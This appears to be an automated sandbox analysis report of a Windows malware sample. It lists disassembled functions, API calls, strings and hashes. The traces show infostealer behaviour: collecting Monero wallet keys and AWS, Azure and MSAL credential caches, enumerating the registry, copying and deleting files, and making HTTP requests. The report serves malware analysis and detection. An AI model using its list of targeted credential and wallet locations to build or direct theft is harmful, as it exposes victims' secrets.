Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 19a92784ca6204bdaba5a30988797f0ce548bdc4147cb46790dfd4067f1ab1c0
Instruction ID: ad7576b6e71cba38cbcfbd1198641b84adb6f0c93895347243ecc1efdc6c91e8
Opcode Fuzzy Hash: 19a92784ca6204bdaba5a30988797f0ce548bdc4147cb46790dfd4067f1ab1c0
Instruction Fuzzy Hash: CD122371E20118ABDB55EBA0DC95FEEB378BF55700F408159F10A62092DF342B4ACF6A

Function 0006CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00078B60: GetSystemTime.KERNEL32(00080E1A,00D79A38,000805AE,?,?,000613F9,?,0000001A,00080E1A,00000000,?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 00078B86

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0006CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0006D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0006D0CE
lstrcat.KERNEL32(?,00000000), ref: 0006D208
lstrcat.KERNEL32(?,00081478), ref: 0006D217
lstrcat.KERNEL32(?,00000000), ref: 0006D22A
lstrcat.KERNEL32(?,0008147C), ref: 0006D239
lstrcat.KERNEL32(?,00000000), ref: 0006D24C
lstrcat.KERNEL32(?,00081480), ref: 0006D25B
lstrcat.KERNEL32(?,00000000), ref: 0006D26E
lstrcat.KERNEL32(?,00081484), ref: 0006D27D
lstrcat.KERNEL32(?,00000000), ref: 0006D290
lstrcat.KERNEL32(?,00081488), ref: 0006D29F
lstrcat.KERNEL32(?,00000000), ref: 0006D2B2
lstrcat.KERNEL32(?,0008148C), ref: 0006D2C1
lstrcat.KERNEL32(?,00000000), ref: 0006D2D4
lstrcat.KERNEL32(?,00081490), ref: 0006D2E3

Part of subcall function 0007A820: lstrlen.KERNEL32(00064F05,?,?,00064F05,00080DDE), ref: 0007A82B
Part of subcall function 0007A820: lstrcpy.KERNEL32(00080DDE,00000000), ref: 0007A885

lstrlen.KERNEL32(?), ref: 0006D32A
lstrlen.KERNEL32(?), ref: 0006D339

Part of subcall function 0007AA70: StrCmpCA.SHLWAPI(00D788C0,0006A7A7,?,0006A7A7,00D788C0), ref: 0007AA8F

DeleteFileA.KERNEL32(00000000), ref: 0006D3B4

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 7c41a622c02bfaa8c7487f137ddb4a0a90254c68c5e92d24de31de0b56da900b
Instruction ID: 25a37a967fcca624edd87d71823d46e6820b8f844a37abb0d61aaf418959782f
Opcode Fuzzy Hash: 7c41a622c02bfaa8c7487f137ddb4a0a90254c68c5e92d24de31de0b56da900b
Instruction Fuzzy Hash: 22E1F271E10108ABCB44FBA0DD9AEEE7378BF55301F108155F10BA6092DF39AA09CB67

Function 00078320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

RegOpenKeyExA.KERNEL32(00000000,00D7ACC0,00000000,00020019,00000000,000805B6), ref: 000783A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00078426
wsprintfA.USER32 ref: 00078459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0007847B
RegCloseKey.ADVAPI32(00000000), ref: 0007848C
RegCloseKey.ADVAPI32(00000000), ref: 00078499

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Strings

%s\%s, xrefs: 0007844D
?, xrefs: 0007837A
- , xrefs: 000785A3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 9b58669d9eb2fc9a23b14a69d5a89eccb931da61d84af6c5154615852e302b4a
Instruction ID: 4a3008b4dbce1428479d83230e45de6d283c99e380b0105bf5bc5f5a01295207
Opcode Fuzzy Hash: 9b58669d9eb2fc9a23b14a69d5a89eccb931da61d84af6c5154615852e302b4a
Instruction Fuzzy Hash: 6D813CB1910118ABDB68DB64DC95FEEB7B8BF48700F00C299E109A6141DF746F89CFA5

Function 00066280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
Part of subcall function 000647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

InternetOpenA.WININET(00080DFE,00000001,00000000,00000000,00000000), ref: 000662E1
StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00066303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00066335
HttpOpenRequestA.WININET(00000000,GET,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 00066385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 000663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0006646D
InternetCloseHandle.WININET(00000000), ref: 000664EF
InternetCloseHandle.WININET(00000000), ref: 000664F9
InternetCloseHandle.WININET(00000000), ref: 00066503

Strings

GET, xrefs: 0006637C
ERROR, xrefs: 000664C9
ERROR, xrefs: 00066407

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 2af72fd66bee4879ade437ad3338fed99dfc582b831f7ff53264db95ac02a99a
Instruction ID: af142a86bf9461e974e2a3acf1b1e3703638526564d68bdb57586a63625979b8
Opcode Fuzzy Hash: 2af72fd66bee4879ade437ad3338fed99dfc582b831f7ff53264db95ac02a99a
Instruction Fuzzy Hash: A4716E71A00218ABDB64DFA0DC49BEEB7B9FF45700F108198F10A6B191DFB56A85CF52

Function 00075510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A820: lstrlen.KERNEL32(00064F05,?,?,00064F05,00080DDE), ref: 0007A82B
Part of subcall function 0007A820: lstrcpy.KERNEL32(00080DDE,00000000), ref: 0007A885

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00075644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00075857

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00075228

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 000752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00075318
Part of subcall function 000752C0: lstrlen.KERNEL32(00000000), ref: 0007532F
Part of subcall function 000752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00075364
Part of subcall function 000752C0: lstrlen.KERNEL32(00000000), ref: 00075383
Part of subcall function 000752C0: lstrlen.KERNEL32(00000000), ref: 000753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0007578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00075940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00075A0C
Sleep.KERNEL32(0000EA60), ref: 00075A1B

Strings

ERROR, xrefs: 000759FE
ERROR, xrefs: 0007577D
ERROR, xrefs: 00075693
ERROR, xrefs: 00075932
ERROR, xrefs: 00075849
ERROR, xrefs: 00075636

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: a1b77f2ac494ab356b3e24b686eea929bfc42d2385c353a7c42abe3d2cc66ba6
Instruction ID: 050a219823b74e7df85b07bcec36badbc4c519db0cc9ac0dde660817732d6181
Opcode Fuzzy Hash: a1b77f2ac494ab356b3e24b686eea929bfc42d2385c353a7c42abe3d2cc66ba6
Instruction Fuzzy Hash: 51E13171E101049BCB58FBB0EC56AED7378AF96301F50C528B51A56092EF786A0DCB9B

Function 00074D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 00074DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00074DCD

Part of subcall function 00074910: wsprintfA.USER32 ref: 0007492C
Part of subcall function 00074910: FindFirstFileA.KERNEL32(?,?), ref: 00074943

lstrcat.KERNEL32(?,00000000), ref: 00074E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00074E59

Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FDC), ref: 00074971
Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FE0), ref: 00074987
Part of subcall function 00074910: FindNextFileA.KERNEL32(000000FF,?), ref: 00074B7D
Part of subcall function 00074910: FindClose.KERNEL32(000000FF), ref: 00074B92

lstrcat.KERNEL32(?,00000000), ref: 00074EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00074EE5

Part of subcall function 00074910: wsprintfA.USER32 ref: 000749B0
Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,000808D2), ref: 000749C5
Part of subcall function 00074910: wsprintfA.USER32 ref: 000749E2
Part of subcall function 00074910: PathMatchSpecA.SHLWAPI(?,?), ref: 00074A1E
Part of subcall function 00074910: lstrcat.KERNEL32(?,00D7E3E0), ref: 00074A4A
Part of subcall function 00074910: lstrcat.KERNEL32(?,00080FF8), ref: 00074A5C
Part of subcall function 00074910: lstrcat.KERNEL32(?,?), ref: 00074A70
Part of subcall function 00074910: lstrcat.KERNEL32(?,00080FFC), ref: 00074A82
Part of subcall function 00074910: lstrcat.KERNEL32(?,?), ref: 00074A96
Part of subcall function 00074910: CopyFileA.KERNEL32(?,?,00000001), ref: 00074AAC
Part of subcall function 00074910: DeleteFileA.KERNEL32(?), ref: 00074B31

Strings

\.aws\, xrefs: 00074E4D
msal.cache, xrefs: 00074EF0
*.*, xrefs: 00074DD8
\.IdentityService\, xrefs: 00074ED9
Azure\.aws, xrefs: 00074E5F
Azure\.IdentityService, xrefs: 00074EEB
*.*, xrefs: 00074E64
\.azure\, xrefs: 00074DC1
Azure\.azure, xrefs: 00074DD3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 8122ecba493afd831386df53b55c24a52f0078fa6f7bdf95d77a72850a9aa395
Instruction ID: cdef6f1b9749ba41857620b05bf3194dbee9c6a9db6a9d48d34dc731ed481772
Opcode Fuzzy Hash: 8122ecba493afd831386df53b55c24a52f0078fa6f7bdf95d77a72850a9aa395
Instruction Fuzzy Hash: 0541337AA40204A7D754F770EC4BFED7338AF65700F408554B6896A0C2EEB95BC9CB92

Function 00061310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000612B4
Part of subcall function 000612A0: RtlAllocateHeap.NTDLL(00000000), ref: 000612BB
Part of subcall function 000612A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 000612D7
Part of subcall function 000612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000612F5
Part of subcall function 000612A0: RegCloseKey.ADVAPI32(?), ref: 000612FF

lstrcat.KERNEL32(?,00000000), ref: 0006134F
lstrlen.KERNEL32(?), ref: 0006135C
lstrcat.KERNEL32(?,.keys), ref: 00061377

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00078B60: GetSystemTime.KERNEL32(00080E1A,00D79A38,000805AE,?,?,000613F9,?,0000001A,00080E1A,00000000,?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 00078B86

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00061465

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
Part of subcall function 000699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
Part of subcall function 000699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
Part of subcall function 000699C0: ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
